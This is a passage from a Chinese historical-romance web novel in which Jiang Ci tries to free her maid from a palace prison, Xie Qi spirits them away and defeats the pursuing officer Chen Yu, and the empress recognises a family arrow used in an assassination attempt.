姜瓷感受到剑意,停下了手,刚才还吊儿郎当不屑的士兵突然喝道:“谁允许你动那东西的!”
她周身气息蓦然降低,并未挪动脚步,寒声道:“你知道我是谁吗?”
那草包士兵虽然看不见她的面容,但见她贵气难掩,也知道是自己惹不起的人。
他看着另一人摇了摇头,示意他不可伤了姜瓷。
举着剑的人自觉被驳了面子,他在这处当差多少年,什么样的人没见过。
多少贵族子弟最后沦为阶下囚,照样要对他低声下气。
他举着剑的手未动弹,心中对那个草包满是轻蔑,新上任的人就是胆小。
“我管你是谁,今日你别想进去!”
话落,一把匕首快速飞来,利刃刺穿飞雪,直直斩断了他举着剑的手指。
霎时间鲜血飞溅,“哐当”一声,剑砸在了青石板地上,连带着温热的手指。
那士兵反应过来时,手指已断,痛苦席卷全身,眼中不屑顿时化为惊恐。
陆无浮将姜瓷轻拉至一旁,躲开了四溅的血液。
他睥睨着匐在地上痛苦哀嚎的士兵,冷冷笑道:“咱家可有资格进去?”
一旁那草包见此抖成了筛糠,知道他惹了不该惹的人,急急跪下去,恭敬道:“厂……厂督大人!”
姜瓷眼中划过一抹惊色,又快速遮掩下来。
她如今越发看不懂这人,为何一而再再而三的帮她,前世他分明将那书信给了李氏,要说李氏临死前还骗人她是不信的。
陆无浮看向说话的草包,轻笑道:“见着是咱家还不把门打开。”
他说话时分明笑着,却感觉不到一丝笑意,那草包急急称是,爬起身行至机关前,颤颤巍巍将门开了下来。
姜瓷默不作声往一旁移了半步,淡声开口道:“多谢。”
“这是你今日第二次跟咱家道谢了。”陆无浮眼中闪过一抹看不懂的情绪,“若真想谢咱家有空至万春楼一聚便好。”
她神色一滞,万春楼是当今最繁荣的酒楼,官家子弟大多喜爱选在那方聚餐。
只是她认为她对陆无浮还没到能坐下来心平气和聊家常的地步。
但姜瓷还是微微颔首道:“好。”
见她答应陆无浮也不多说,面容上又浮上笑容,侧身伸手道:“请。”
两人进了其中,里面士兵见是陆无浮,也未刁难。
毕竟谁不知陆无浮是当今圣上身边的红人,朝廷大事皆有他的插手,若是得罪了最后怎么死的都不知道。
刚进入时未觉,越往前走越发觉得阴冷,还有一股难言的味道。
墙壁是粗糙的石头堆砌而成,微弱的火把在墙上摇曳,一会一阵绝望的哭喊声,不由得让人全身发寒。
陆无浮见姜瓷眉头微蹙,淡淡开口解释道:“被关进这地方的人,大多都无人问津,死后也就随意拖出去丢了,留下来的血却没人清理,一年又一年,最后臭味怎么也消散不掉了。”
姜瓷垂眸走着,一字一句道:“可能是灵魂太过冤屈,不愿走,留下些东西来提醒世人。”
她想到姜棣也曾被关在这种地方吗,那时的他该有多绝望呢,分明正直了一生,却要面对那般构陷。
陆无浮当然知道她在说什么,敛着眸子道:“若那些人本就罪该万死呢。”
“罪该万死之人现在不是还好好的吗!”姜瓷忽然停下转身看着他高声喝道。
在一片哀嚎中,少女清澈的声音格外引人注目,竹月自然是听见了这熟悉的声音,握住铁杆拼命朝外喊道:“小姐!”
姜瓷闻言急急顺着声音小跑过去,竹月被关的房间算不上恶劣,甚至挺干净的,可在这样的环境中本身就是一种对心里的折磨。
陆无浮看着她的背影,眼底一片涩然,他手紧紧攥成拳头,在袖中越发用劲。
是啊,他这般罪该万死之人,现在不是还活的好好的吗。
牢房中水滴落下,滴滴响声砸在所有人心上,安静片刻的牢房又开始喧嚣起来。
有人喊冤,有人求饶,有人愿意赴死却放不下家中妻子。
门被紧紧锁着,姜瓷使出全部的劲也拉不动半分,竹月焦急看着她。
“小姐,奴没事,你千万别伤着自己。”
话刚落下,竹月忽然瞳孔缩紧,盯着姜瓷身后,颤颤道:“小……小姐。”
姜瓷手中动作顿住,抬头不解,不等她回头看去,周以延满是寒意的声音传来:“姜二姑娘这是要劫狱?”
她回过身,两人之间的距离骤然缩小,但她不愿离开竹月身边。
于是站定抬头道:“大将军无缘无故绑我的人难道我不能管吗?”
周以延跟她对视,她眼底竟是再也见不到平日里半分的柔软,看向他一片冷漠。
他微微蹙眉,刚要问她是如何进来的,却扫到她身后站着的陆无浮。
烛光照在一旁,他的脸半明半暗,添了几分神秘感,却让人觉得有几分淡淡威胁。
陆无浮察觉到目光,勾起嘴角道:“将军,又见面了。”
周以延轻睨他一眼,嫌恶丝毫不遮掩,他转眼不再看他,回答姜瓷的问题。
“姜二姑娘自己说
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的话,难道不记得了吗?”
他一袭紫袍,在牢房更显幽深,身上似乎还带着淡淡的血气。
姜瓷自然知道他说的是什么,这话是她自己说的,也没办法辩解。
她侧身看了眼竹月,沉声道:“将军要问,知会小女一声,小女自然将她带到将军面前,没必要如此大动干戈吧。”
带到这方地方,不就是想要动刑吗。
“将军想问什么,现在便可以问,只是烦请将军,将竹月放出来。”
周以延眸子一瞬间不瞬地盯着她,并未言语。
良久,他忽然嗤笑一声:“姜二姑娘要不去问问,有哪个进了这方地方还能安然无恙走出去的。”
“将军这是不肯放人了?”姜瓷蹙眉看去。
回应她的是一阵脚步声,陆无浮走上前来,不经意之间将姜瓷遮掩在身后,逼得姜瓷往后退了半步。
他轻笑道:“将军抓的那人没问出来东西吗?左右都放那侍卫走了,现在又何必再刁难。”
陆无浮言语中都是淡淡的讽刺。
周以延当然听出来了,他目光扫过两人,姜瓷暗红裙边露在外边。
他微微眯了眯眸子:“厂督好像格外护着姜二。”
姜瓷听着这话蓦地顿住,胎膜望着眼前的背影,虽看着孱弱,却能将她整个人都拢在阴影里,脖颈处露出的皮肤病态的白。
陆无浮淡淡开口:“那又如何?”似是带着与生俱来的自信。
身居高位确实给了他说这话的底气。
饶是姜瓷再迟钝,也察觉到陆无浮的不对劲之处来了。
对比前世两人毫无交集,甚至是仇敌,这一世陆无浮简直过分反常。
一次两次是巧合,那这么多次呢。
她微微垂眸,自己是重生回来的,那这世上就只能有她会重生吗?
可重生意味着死亡,她实在想不出来这位厂督有什么理由死。
难道是被谢祈所杀?可他刚刚为什么要帮谢祈,不应该将他扼杀在摇篮中才是最妥善的吗。
况且,就算他真重生了,也没有理由帮她。
周以延眼里闪过一抹诧异,顿时生出几分危险的意味,他寒声道:“厂督别忘了自己的身份。”
陆无浮嘴角那抹笑越发浓,周以延不就是在提醒他是个太监吗。
他本早不在意这些了,从他入宫起这般话不知听了多少遍,可如今听来居然觉得有些刺耳,许是因为背后站着的人。
烛光闪烁之间,两人无声对峙着,忽然,一阵浓雾四起。
眼前视线全部被遮盖,竹月瞬间慌张起来,捏着铁栏叫道:“小姐!小姐!”
下一瞬一只帕子捂在她的口鼻,竹月想要挣扎尖叫,却脱了力,那帕子上有迷药!
她沉沉昏睡过去,竹月声音突然消失,姜瓷急急往前走去。
四周皆是浓雾什么也看不清,只听寒刃出鞘,几瞬之间,利刃相交声响起又消失。
浓雾中听到周以延高声喝道:“守住大门!”
姜瓷走进竹月的牢房中,急急呼唤着:“竹月,你在哪!”
无人回应,她心下一沉,立在原地,刚走出去,手腕上却突然多出一股力量。
谢祈将她拉至怀中,在她耳边低低发出一声:“嘘。”
25.絮安
一片白雾中,陆无浮立于其中。
他一步未动,一手背在身后,另一只手慢慢在面前挥了挥,这雾却一点不见消散。
视线迷惘间,他也紧张片刻,去寻身后人,却空荡荡一片,什么也未找到。
察觉到有人从他身前走过,他伸手,只抓住一片浓雾。
待雾散尽,眼前只剩周以延薄怒的面庞。
陆无浮扫视四周,顿时失笑,竹月和姜瓷都不见了,牢房门吱呀吱呀晃着。
连周以延抓来的那刺客竟也不见踪影。
他笑道:“大将军竟连个小小的婢女也看守不住吗。”
说完,前方竟传来一声巨大的响动,像是有人破开了什么东西。
周以延瞬间警惕回头,朝里看去,随后寒眸盯了陆无浮一眼,将剑收回鞘中,神色紧绷着朝黑暗深处走去。
大门那处已经有重兵把守,现在想要出去无非是走里面,这牢中的确有个后门,常人不知晓,他却知道。
刚刚在黑暗中,同那来人过了两招,那人实力非同小可,想着他的脚步越发快。
看着周以延背影消失,陆无浮勾起的嘴角慢慢放下,牢房中一片漆黑,只余从狭小的窗户里透过来的几片月光。
他一人站在走道间,刚刚那烟并非寻常,整个江湖之中只怕也找不出几个能制作出来的。
陆无浮心中隐隐有了猜想。
此时门外,那个刚刚还嚣张的断指士兵,匍匐在地上,神色痛苦。
他保持这个姿势已经有一会儿了,一动未动。
起初以为是太过疼痛所以才没动,现在过了这般久还保持这个姿势便有些奇怪了。
旁边那人胆怯不已,上前去喊他:“喂……你怎么了。”
说着,他伸手推了他一下。
这一推,那人竟直直向旁边倒了下去,把草包吓的跌坐在地上。
他坐在那方缓了半天神,小心翼翼地探上那人的脖颈。早已没了跳动!
“啊啊……”他再次向后跌去,脚蹬着不停朝后退,地上粘稠的血液溶进雪里,被他一顿蹂躏更显肮脏。
他早已吓得脸色苍白,不过是断了指怎么会死!
目光扫过地上那把沾了血迹的匕首,他咽了下口水,小心的捡起来嗅了嗅。
上面竟有剧毒!
他直接将那把匕首扔了出去,传闻中厂督心狠手辣,今日他才真正见识到陆无浮的可怕。
也意识到姜瓷真的不是他能惹的,不过是阻拦了她片刻,竟然落得如此下场,想着心里又是一阵后怕。
匕首落地之时,铁门却忽然打开,沉重的铁门摩擦在地上,发出巨大声响。
那草包抬头看去,眼前砸来一团粉雾,只一瞬他便直直昏倒下去。
深夜一片漆黑,少年身着一袭黑衣隐匿于夜色之中,怀中抱着个暗红色的身影。
银泉将背上的竹月放进马车内,随后坐在了车架上。
他面色苍白虚弱极了,身上大大小小的鞭痕,是刚刚受了周以延的审问。
谢祈从高阶上一跃而下,竟抱着姜瓷稳稳落地。
姜瓷看他一眼,谢祈下颚紧绷着,从刚刚开始,他所展现出的神态同平时完全不同。
警觉又沉稳,能将周以延戏耍了去,大摇大摆地从正门走了出来。
谢祈将她放下,垂眸抿着唇,像做了错事一般。
他不愿让姜瓷犯险,这才将她带了出来,只是这般,以她的聪慧定是知道那刺客就是他了。
虽然姜瓷刚刚维护他,但真正暴露之后他不确定姜瓷还会信任他几分。
姜瓷看他片刻,什么也没问,只道:“走吧。”
说罢,她转身上了马车,谢祈怔愣一瞬,看着她抬脚的背影,才反应过来。
翻身上马,一路行至宫门前,姜瓷忽然想起些什么,掀开帘子一角,淡声道:“进来。”
她在让银泉进去,这一身狼狈想要走宫门出去也不是简单事。
银泉害怕弄脏马车,转头看向谢祈,想听他安排,可谢祈并未分给他一个眼神。
银泉不知如何是好了,只以为姜瓷是怕他冻伤了,挠了挠头,笑道:“这不好吧。”毕竟谢祈还在驾车,他进去不合理数。
若不是谢祈叮嘱过他,不可以喊他主子,银泉差点就脱口而出了。
姜瓷一时无言以对,但还是耐心道:“现在出宫的人没几个了,你若不进来被拦住,有嘴也说不清,除非你还想回刚才那地方。”
银泉这才反应过来姜瓷所担心的事情,他讪讪笑着,尴尬地掀起帘子坐了进去。
看起来局促极了,一个身形高大的男人,竟只将将坐了一个边。
姜瓷懒得再管,坐到外头去了,她看着谢祈的侧脸忍不住想,他身边人都这么蠢笨吗。
里面蓦地传来一声喷嚏。
银泉摸了摸鼻子,心里念着,莫不是刚才烟雾吸多了。
夜幕中一辆马车在长街缓缓行驶着,车前少女眼睛半闭着,头轻轻靠在车旁。
出宫居然出乎意料的顺利,谢祈目视着前方,目光一瞬不瞬,姜瓷蓦地睁开眼,眸子轻轻扫过他。
问道:“你到底是谁?”
她看了一眼便移开了视线,夜已深长街上一个人都没有,只剩下上元节一片喧嚣后的孤寂。
姜瓷问得轻飘飘,她也并没有期待谢祈的回答。他是谁,在她心中已经隐隐有了一个答案。
“谢絮安。”他依旧看着前方,风声瑟瑟,雪慢慢飘落着。
姜瓷都要怀疑自己听错了,她脱口而出道:“什么?”
不等谢祈回答,寒夜中一把利刃直直飞来,划过飞雪,插在了谢祈和姜瓷之间。
谢祈侧身闪过,拉停马车,转头凝眸便对上一双警惕的眼睛。
那人身下胯着一匹赤色宝马,一手缠住缰绳,一手悬在空中,那柄剑竟直接朝他飞了回去。
姜瓷一瞬面露惊色,她没想到周以延会派人追出来。
那人她当然认得,他是周以延手下最信任的人,同周以延成婚一年,没少见他,此人名为陈羽,在朝中也是个有官职的小将军。
虽没少见,但两人之间却并无交集,她唯一了解的就是这人武功十分高强,却故意藏拙。
陈羽挡在他们面前,寒声道:“今日让你们侥幸逃出宫,不过现在......”
他将剑指向谢祈,月光照在剑上,散发着银色的光芒。
陈羽高声喝道:“你们一个都别想走。”
伴随
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着他说话声的还有身后不停歇的马蹄声,他不止一人!
“陈将军!”姜瓷见状急站起身,一手扶住马车一手搭在身前道:“刺杀陛下之事非同小可,将军不去审该审的人,反复为难小女是为何?”
陈羽不屑地“哼”出一声,眸子眯着看向他们身后的车里:“只怕要审的人现在就在里面!你们包庇刺客,其心可诛。”
姜瓷一时无言,人的确在这里面。
陈羽见姜瓷不说话,又是一声冷笑:“姜姑娘,现在陈某给你两个选择,第一,乖乖放人,陈某也放你走,我们相安无事,第二!”他蓦地加重了语气,“若是姜姑娘不同意,陈某只能将你们全部抓回去,陈某可从来都不是个会怜香惜玉的人,姜姑娘可考虑好了。”
“我选第三个。”一片静谧之中,姜瓷身侧忽然传来道声音,谢祈漫不经心道:“将你们全部打回去。”
少年赤手空拳,甚至未起身,手上还抓着缰绳,却说出如此狂妄的话。
这大概是他第一次在姜瓷面前如此态度。
陈羽一双倒三角眼,顿时生出几分危险的意味,他开始打量起谢祈。
嗓子里发出一声沉闷的声响:“哦?”
他飞身踏马,举着长剑直直朝谢祈刺来,嘴里念着:“那便试试!”
谢祈瞬间凝神,拉住姜瓷的手腕,将她送回马车中。
力道不轻不重,姜瓷刚好跌坐在坐垫之上。
陈羽利刃刺向车帘,竟是一点也不顾里面坐着的姜瓷,誓要斩下谢祈。
姜瓷眸子半眯着,这人武功高强的一点原因便是他无所顾忌,不惜命一般。
试问谁不怕一个连命都不要的疯子?
除非武功上绝对的压制,否则对上陈羽的人大多都没有好下场。
谢祈看准他的动作,翻手运气抬掌,只微微侧身便将他的手腕连同剑一齐抬了上去。
剑尖挑起车帘,露出姜瓷半张小脸。
谢祈朝里望一眼,眉目中分明带了几分笑意,随后他又将手腕压了下去。
这一掌力道十分之大,竟直接将陈羽的剑打落在学地中。
陈羽从刚刚的不屑开始变得严肃起来,眼眸闪过一丝怨毒的精光。
他怒气上涌,捏拳直直朝谢祈打了过去,可他另一只手分明在运气。
果然,刚刚还落在地上的剑,又晃荡着飞起,向谢祈身后刺去。
两边包夹之势,谢祈虚眼瞧他一眼,脚尖轻点,竟直接飞向空中,立在了马车顶上。
陈羽险些反应不及,那柄剑划过他的脸颊留下一道血痕。
谢祈微眯眼睛,声音中夹杂着从未见过的寒意:“你学剑便是用来做这样的事情?”
这剑法他太过熟悉,而陈羽所使的功力还不及他一半。
陈羽装作没听懂他在说什么,嗤笑一声,喝道:“来人!给我围了这马车。”
他的人生里从来都没有胜之不武这几个字,赢就是赢,输了就是输了,为了赢可以不择手段,输了也得承受代价。
长街之中,十几个身穿银甲的士兵将马车环环包围,谢祈依旧点脚轻立于马车顶上,颇有种睥睨众生之感。
陈羽随手抹了把脸上的血迹,将剑指向谢祈,高声道:“你输了!”
26.羡慕
陈羽随手抹了把脸上的血迹,将剑指向谢祈,高声道:“你输了!”
闻言,在车内的姜瓷蓦地捏紧了手指。
身边竹月还沉睡着,而银泉刚刚的自在似乎是装出来的。
他满身斑斑血迹,唇色越发苍白,现在无力地阖着眼睛,一句话也说不出来了。
姜瓷微不可查地叹息一声,心中却是有些紧张。
小雪飘飘落着,陈羽迫切地想要从谢祈眼里找到一丝恐惧。
可是什么都没有,只有居高临下的睥睨,他甚至连眉头都不曾皱一下。
谢祈俯视着他,淡淡道:“争输赢是弱者才会强求的。”
其实他心中不是已经有答案了吗,从一开始一人上前来,到现在几十人围攻,谁心虚了退缩了一眼便知。
他从来不想看什么输赢,从前他只想报复那些人,现在他有了想要保护之人。
谢祈忽然想到刚才帘下那半张脸。
陈羽听懂他在说他是弱者,他活了一辈子又何时受过这种屈辱。
一时间怒气翻滚,喉间喝道:“你装什么清高!”
说着便飞身将剑朝谢祈刺去,周边十几人见状立马围了上来。
谢祈冷眼看着,待剑快要刺到他时,他微微一侧身,轻易躲了过去。
随后一掌击出,猛地打向了陈羽的胸口,借力翻下了马车。
陈羽被击飞数米远,剑撑在地上,吐出一口浊血,眼里满是不可置信。
他刚刚过招时虽察觉到谢祈有点东西,可没想到他的武功竟如此高强。
他是有内力的人,胸口居然像碎裂般疼痛。
谢祈那双寒凉的眸子对上他时,陈羽不由得背后发寒,眼前人远比他想象得要可怕!
可下一瞬,谢祈在人群中漠然抬手,他手撑着得那柄剑竟然不受控制地飞了出去。
在周围划出一个大圈,逼得那些身穿银甲的士兵都往后退了一步。
最后那剑顺势落在了谢祈的手上。
他端详了那剑片刻,却慢慢勾起了唇,难怪如此熟悉,这柄剑是他所用剩下的东西。
既是他的东西,自然听他的话。
没了剑的支撑,陈羽坚持不住跪了下去,血液染红了他身前一片白雪。
身后这些官兵见领头的人被打至这般,难免犹豫起来。
陈羽当然不甘心,可现在的他一无所有,该怎么样才能赢谢祈,他实在想不出来。
便是这里所有人一起上了,只怕也敌不过他一人。
他一双倒三角眼中满是怨毒,猩红的血染上他的牙,陈羽狰狞道:“这次算你好运,大将军是不会放过你的!”
“我们走!”
一声令下后,原本六神无主的士兵皆收回了手中长剑,朝一旁走去,为姜瓷的马车让出一条道。
谢祈唇边勾出一抹笑,朝廷官兵果然都是贪生怕死的草包,出了几个不同的人,也是无能的蠢货。
陈羽强撑着起身,站在那方牵着马匹的缰绳。
却出人意料的并未走动,他回身盯着谢祈手中那柄长剑,却一言不发。
剑被谢祈随手撑在地上,察觉到陈羽的目光,他微微一扬眉。
这把剑的确难得,几乎是陪伴他度过在临潭峰上最难熬的日子。
那时的他年纪尚小,日日习武,这柄剑对现在的他来说是不重,可对幼年的他来说仿佛千斤般。
每一次去拿都要耗费莫大的勇气。
谢季告诉他,剑都是认主的,执剑并非要用蛮劲。
若不是陈羽他都快忘了这样一段故事了,仔细想来,这剑落到他手上也并不奇怪。
他是陈家人,谢祈看他片刻,撑在地上的剑却忽然被折断,发出“哐当”一声。
谢祈淡淡笑着,巧了,他那继母陈黛,也姓陈。
“你干什么!”陈羽目眦欲裂,怒吼着,“你可知道那剑有多珍贵?"
他迟迟不走便是想要唤回那剑,可无论怎么样,它就像是在谢祈手中生了根一般,怎么也不肯回来。
现在却亲眼见着谢祈将它折断。
陈羽怒视着他,谢祈只寒声开口道:“你这种人,不配。”
他不愿再多说,翻身上了马车,只喊一声:“驾。”那马车便悠悠消失在夜幕中。
上元节已过,傍晚时有多热闹,现在就有多冷清,长街上到处是灯会后留下的杂物,在月光下显得无比凌乱。
将军府中,周以延褪去外袍,一声素衣坐在案前,提笔写着什么。
夜已至深,烛光在一旁晃动,照亮了他半边脸。
门外传来陈羽的声音:“将军。”
“进。”
陈羽小心踏进来反身将门关上。
“人可带回来了?”
回应他的是一阵无言,陈羽垂着眸子站在前方,心中满是愤恨。
周以延微微蹙眉抬起头,眼底划过一抹惊色。
“你受伤了?”
陈羽这次出去,约莫带了十几来人,这般情况下那人还能伤了他?
陈羽“咚”的一声跪在了地上,他将脸埋在地上,咬牙道:“属下无能!没能将贼人捉回。”
周以延手中的毛笔骤然断裂,他手背青筋暴起。
小小一个侍卫能有如此通天的实力?
“属下自请责罚,将军莫动怒。”陈羽急道。
未得周以延命令,他不敢抬头,只将头深深埋在地上。
不知过了多久,周以延冷冽的声音响起:“无妨,你起来吧。”
他在牢中也同那人过了两招,那人内力的确非同一般,只是他没想到这么多人都能在他手上吃了亏。
周以延沉吟片刻,道:“你去查查姜二身边那人。”
陈羽得令,躬身道:“是。”
即使周以延不说,他也一定会去查,这人太过诡谲。
他又想起那把在他手中断裂的剑,一时间死死咬住牙齿。
那把剑是他的姑姑赠予他的,而他的姑姑正是陈黛,据说那剑千金难求,若能熟练用好,力量无限。
如今却被那人轻易折断,他怎么能不恨!
陈羽谢过周以延不罚,转身走出了屋子,周以延坐于案前,神情一片冷峻。
他手指上渗出丝丝鲜血,是刚刚折断毛笔留下的。
周以延垂眸将血抹去,冷冷道:“总会再见的,姜二。”
能护一时,可以护一世吗,周以延忽然不想禀报这件事了。
他非要同那人过过招,探探他的底,想着他眼底闪了闪,这般武功高强的人拉弓会失误吗。
还是说他的目标本就不是皇上。
周以延一向自负,现在姜二身边出现的这人倒是让他蓦然生出几分危险
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感。
*
兜兜转转马车终于是到了尚书府,夜深人静,只几个侍卫站在门前打瞌睡。
姜瓷从马车上下来走上前,他们猝然惊醒,恭敬道:“二姑娘。”
朱红色的大门缓缓打开,马车由下人牵走,姜瓷不作声色得朝那方看了一眼。
竹月和他的人还在那车上,不过现在若是让那人出来未免太惹眼。
姜瓷打算待安顿下来,再让那人出府,替他寻个大夫。
可刚往前走两步一个意想不到的身影立于廊下,姜棣负手站着。
在冬日里仿佛连发丝都结上一层薄霜,他这是在这里等了多久?
姜瓷不由得往后退了半步,颤道:“哥哥……”
她蓦地有种在外头晚回家被长辈抓包的感觉,顿时一阵心虚。
姜棣眉头皱着,寒声道:“你过来。”
她同谢祈站在一块,看起来刺眼极了,姜瓷闻言微微一怔,还是缓步走了过去。
她已经准备接受姜棣的批评了,捏着手指垂眸一副委屈的样子。
飞雪落在她的发丝上,姜瓷因为寒冷脸颊微红,更显无辜。
姜棣看她这副模样,竟不自觉伸出手去,揉了揉她的头,姜瓷以为他要打她,下意识的一躲。
他反应过来,眼眸一暗,将手移至那片雪花,堪堪捏住,那雪花瞬间化成了水。
姜瓷见状心虚解释道:“是因为周将军抓错了人,这才耽误了些时间。”
谢祈在后方看着刚才发生的一切,姜棣却蓦地抬眼,两人眼神相撞间谁也不肯让谁。
他立于黑夜飘雪间,姜棣却一身白衣站在廊下,灯笼照亮着,身旁少女似在朝他笑。
就这样轻易的被划分为了两个世界,谢祈手慢慢握成了拳头。
姜棣淡淡收回眸子,思虑着姜瓷方才说的话,问道:“抓错了人?”
“是小事!”姜瓷将话题引了开去,笑道:“外头凉,我们进屋去吧。”
姜棣任凭她推着,进了屋檐中,两人身影消失,谢祈忽然觉着心中空落落的。
他说不上来是羡慕还是嫉妒,谢祈松开了手,眼眸半垂着,去寻了那辆马车。
竹月将将睡醒,伸了个舒适的懒腰,却看见一旁满身伤痕的银泉。
车里充斥着血腥味,他整个人看起来都无比虚弱,残留着最后一丝意识,对竹月笑了笑,想让她没那么害怕。
谁知道这一笑更加瘆人。
竹月往后靠了一下,贴着马车,警惕道:“你……你是谁!”
她不是在牢里吗,为何会出现在这马车中,小姐呢?
竹月满心疑问,但眼前人实在太过凄惨,她出于好意问道:“你没事吧。”
银泉已经一个字答不上来了,帘子却蓦地被掀开,月光透进来。
谢祈背着光,一双锋利的眸子看了进来,是竹月之前从未见过的模样。
她疑惑道:“谢祈?”
谢祈并未答话,抿着唇上前,将一粒药丸塞进银泉嘴里,随后将他背起,快步离开。
竹月一脸懵地看着一切,这些人都变成哑巴了吗。
她小心翼翼踏下马车,却看见月亮下一个少年背着人,直直飞出了尚书府。
那般高的墙壁对他来说仿若无物,竹月一时间瞪大了眼睛。
这都是些什么啊!
27.第 27 章
屋中木架上陈列着各种瓷器,每一件都光洁细腻,毫无瑕疵。
月光透过雕花的窗棂,轻柔地洒在少女身上,姜棣垂眸望着她,问道:“周将军抓你那侍卫了?”
他眸底神色晦暗不明,姜瓷人在宫宴上,要说抓了人那便只能是她身边那侍卫了。
只是曾几何时姜瓷对那人那么上心了。
他本担心她还爱慕周以延,可今日看来,她视线落在周以延身上时少之又少。
姜棣微微锁眉,好不容易走了一个周以延,又来了一个来路不明的侍卫。
姜瓷讪讪笑道:“是啊。”
她抬眼便看见姜棣探究的眼神盯着他,像是看穿了她的谎言。
“说真话。”
姜棣了解周以延这个人,他向来自负,便是真的抓错了人,那也得扒层皮再放出来,现在谢祈好好地站在那,说明其中还有事姜瓷没告诉他。
姜瓷为了那人骗他,姜棣想着,眼中忽然多出几分凌厉。
他只简单说了三个字,姜瓷心中叹气,果然什么都瞒不过哥哥。
她不知道该从何说起,片刻姜棣似是看了出来,淡淡问道:“真被他带走了?”
这个他自然是指大将军,姜瓷信誓旦旦地点了点头道:“我没骗哥哥。”
“怎么出来的。”姜棣神色平静,却隐隐带上几分压迫感。
姜瓷一时间头皮发麻,他还真是敏锐的很,于是只能有些泄气般实话实说:“谢祈身手好,逃出来了。”
这话掩盖了些东西,姜棣当然听得出来,身手好要好到什么地步才能逃的出来,她在其中又做了些什么。
他一瞬不瞬望着姜瓷,她也不准备再多说,两人僵持良久,姜棣喉间淡淡溢出一声:“嗯。”
他又道:“以后离那侍卫远点。”
姜瓷微微一愣,这话好生熟悉,姜棣从前也跟她说过,不过说的是,离周以延远点。
当时的她没听,最后落的那般下场,现在呢。
她眼睫盖住了眸子,恐怕不行,但她并不是对谢祈有了那种感情。
活了两世,情爱已经不是能绊住她脚步的东西了,对谢祈她的利用和好奇大于一切。
姜瓷轻声安抚道:“放心哥哥,我知道的。”
这话说出时,房顶砖瓦却忽然发出一阵轻微的声响,似是脚尖轻踏在雪花上,只是太过细微,并无人察觉。
她有些应付,姜棣也能看出来,不可自抑的哼出一声,他转身道:“你回去吧。”
“好的。”姜瓷应完转身就走。
“早些歇息……”他偏头过去,那方木架前却是什么都没有了。
走的倒是快。
姜棣淡淡行至方才她驻足的地方,留下一阵淡淡地幽香。
他随手拿起木架上一个玉瓷杯,在手中把玩着,忽然微不可查的叹息一声。
眸光透过木架,看向窗外,正好望见姜瓷刚刚走进院子里。
翌日早晨。
金碧灿烂的宫殿之中,气氛凝重,皇帝一手撑在龙椅上,头靠在手上萎靡地坐着。
他目光懒散却透着精光,周以延阔步走进殿内,单膝跪地,双手抱拳,低头道:“陛下,臣无能,未能抓到那刺客,臣愿领罚!”
萧策瞬间蹙眉,坐起身子,心中闪过疑虑,但片刻之后又打消了。
周以延这么多年对他忠心耿耿怎么可能会背叛他。
想必是真的没能抓到人,萧策目光深沉,片刻后,他道:“起身吧。”
周以延闻言,继续跪着,一切都在他的意料之中,但他还是道:“谢陛下宽宏大量!”一副哽咽愧疚的模样。
萧策抬了抬手,示意他起身,威严道:“将军不必自责,贼人狡猾,朕再给你次机会。”
周以延这才起身谢过,宫内气氛渐渐缓和,这皇帝向来不在乎那些个事情。
他自己安危却格外关心,昨日听说未能抓捕到刺客,他吓得一夜没睡好。
连刚刚纳入宫的玫美人都没提起他半分兴趣。
只是……萧策又怀疑起来,若这人武功真高强到能从周以延手中逃走的地步那箭怎么会射歪。
若说不厉害周以延为何会抓不到,他虽有疑,但对方是周以延,他还是信了。
毕竟这朝中最不可能背叛他的就是周以延!除非他知道了当年的事情。
不过就算他知道了,下场也只有死路一条,萧策眼底染上一抹阴狠。
周以延却忽然又抱拳躬身道:“臣还有一事相求,望陛下应允。”
“说。”
“昨日那箭矢可否给臣看一眼。”
-
此时坤宁宫中,谢挽坐于檀木椅上,一手撑着头,淡淡阖目养神。
她涂着艳丽的口脂,一阵脚步传来,她眼眸缓缓睁开。
“皇后娘娘。”那人便走边喊道,“东西带来了。”
那婢女将盘子递上,上面赫然放着一根笔直修长的箭矢。
箭头锐利泛着寒光,而那箭尾才是最关键的地方。
谢挽坐起身子,戴着金玉石护甲的手指微微翘起,三指捏住箭矢拿了起来。
她仔细端详箭尾片刻,唇角蓦地勾了起来,不可自抑地笑出一声。
只是这笑声却让眼前的冬雪背后发凉,她从皇后入宫起就陪伴左右,算是坤宁宫中同谢挽最亲近之人。
往日里谢挽就算再怎样生气,表面上的温婉装的也很好,这般气笑的模样倒是少见。
谢挽昨日宫宴后便吩咐,无论如何都要将那箭拿来给她。
冬雪咽了咽口水,小心翼翼问:“娘娘,这箭有什么问题吗。”
“不,没什么问题,好得很。”谢挽轻抚着箭尾的羽毛,说话时却有些咬牙切齿。
那羽毛上染着几抹红色,常人可能觉得只是染个颜色罢了,可她是谢家人。
那箭分明是谢家常用之箭,箭羽红色是由花粉所制,染色而成。
箭头那铁铸工艺也是不同寻常,上面有着细密的倒钩,若不仔细看还真发现不了。
她心中愤怒,知道这是谢祈在威胁她。
谢挽起身,红色凤袍拖在地上,金线绣出复杂的凤凰图案,看上去华贵极了。
她冷笑着将箭扔进了面前的火盆中,瞬间火势变大,箭身箭羽燃烧着。
火焰印在她漆黑的瞳孔,谢挽念道:“好得很,真是好得很!”
她仔细想过那天宫宴所发生的事,不过就是提及了一下姜府那小姐,谢祈竟如此出手。
这分明是在怪她插手的事情太多!
冬雪见状再也不敢说一句话,双手搭在身前,朝后退去,站在了墙边。
诺大的房中顿时只
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剩下火焰燃烧的声音。
“母后!”萧茵突兀地打破了沉寂,“快来听我新学的曲子。”
她今日穿了一声娇俏的粉色,跑进房中身后还跟着几个太监。
“哎呦,公主殿下,您慢些。”那太监扶着帽子,急急道。
谢挽转头看去,眼里那抹锋利还没来得及收,萧茵被她这般眼神吓得顿在原地,噤了声。
那太监见此情景急急躬身道:“皇后娘娘。”
谢挽身前火盆子燃烧着,反应过来立刻收回那副神情,朝萧茵笑了起来:“茵儿来了。”
她抬眼示意那太监退下,上前去抚住萧茵的手,柔婉道:“是什么曲子?”
萧茵心中虽疑虑,但还是笑了起来:“是《落雁》”
这曲子对萧茵来说难度不大,但胜在好听动人,于是她想奏给谢挽听,她忽的又想起昨日的情形,心中一阵怨恨。
“茵儿做什么都厉害。”谢挽抬手温柔地摸了摸她的发丝。
萧茵咬着唇一副不开心的样子,谢挽的手忽然顿了顿。
随后耐心问道:“谁惹得茵儿这般?”
“是姜瓷!”她快速说完,想起昨日谢挽对她的呵斥,又耷拉下去,毕竟是她自己技不如人,也不知道谢挽对姜瓷的态度,她低低道:“是我不如她。”
